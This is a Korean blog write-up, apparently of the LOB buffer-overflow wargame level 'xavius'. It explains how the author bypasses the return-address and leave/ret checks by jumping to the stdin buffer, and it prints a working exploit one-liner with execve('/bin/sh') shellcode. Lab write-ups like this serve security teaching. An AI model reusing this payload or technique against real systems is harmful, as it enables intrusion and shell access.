LOB_19.nightmare->xavius

해킹/LOB 2016. 2. 3. 18:46


코드도 길어졌고 특이한 부분도 많이 보인다.

우선은 argv를 사용하지 않고 fgets를 통해서 stdin으로 입력을 받고있다.

먼저 \xbf와 \x08로 시작하는 리턴주소는 사용할 수 없다.

그래도 \x40으로 시작하는 라이브러리 주소는 사용할 수 있으니 그쪽으로 점프할까 했으나..

\x90\x90 즉 nop들이 나오기 전에 \xc9(leave)와 \xc3(ret)이 나오면 안되는 구조다. 즉 라이브러리 함수를 사용할 수 없다.

일반적인 함수의 구조를 사용할 수 없다면 쉘코드를 사용해야 하는데 버퍼로는 뛸수 없으니 stdin의 위치를 찾는 수밖에 없겠다.



일단은 xavius 프로그램을 실행시켜놓고 프로세스의 maps를 읽어봤다.

일단은 읽을 수 있는 부분이 전부 나오는듯 한데 저중에서 08과 bf로 시작되는 부분을 빼면 40000000~ 4010d000까지다.

이부분 어딘가에 stdin이 있을 것이다.





fgets 직후인 main+26부분에 bp를 걸고 a를 잔뜩 집어넣어 준 뒤 0x40000000부분부터 메모리를 쭉 훑어봤다.

0x40015000부터 내가 넣은 입력값이 들어있는 것을 확인할 수 있었다. 저부분으로 점프주소를 넣어주면 되겠으나 00은 넣어줄 수 없으므로 0x40015001로 점프하도록 하자.




(python -c 'print "\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"aaaa"+"\x01\x50\x01\x40"';cat)|./xavius






쉘코드에 잘 접근한 모양이다. 공격에 성공했다.

사실 stdin의 주소를 디버깅을 통해서도 어느정도 예측할 수 있었다. fgets함수를 오랫동안 뜯어보면서 그안에서 stdin의 주소로 생각되는 부분을 찾아냈지만 더 효율적인 방법으로만 포스팅 하기로 했다.

끝-

'해킹 > LOB' 카테고리의 다른 글

LOB_20.xavius->death_knight  (0) 2016.02.06
LOB_18.succubus->nightmare  (0) 2016.02.03
LOB_17.zombie_assassin->succubus  (0) 2016.02.01
LOB_16.assassin->zombie_assassin  (0) 2016.01.31
LOB_15.giant->assassin  (0) 2016.01.31
Tags
Social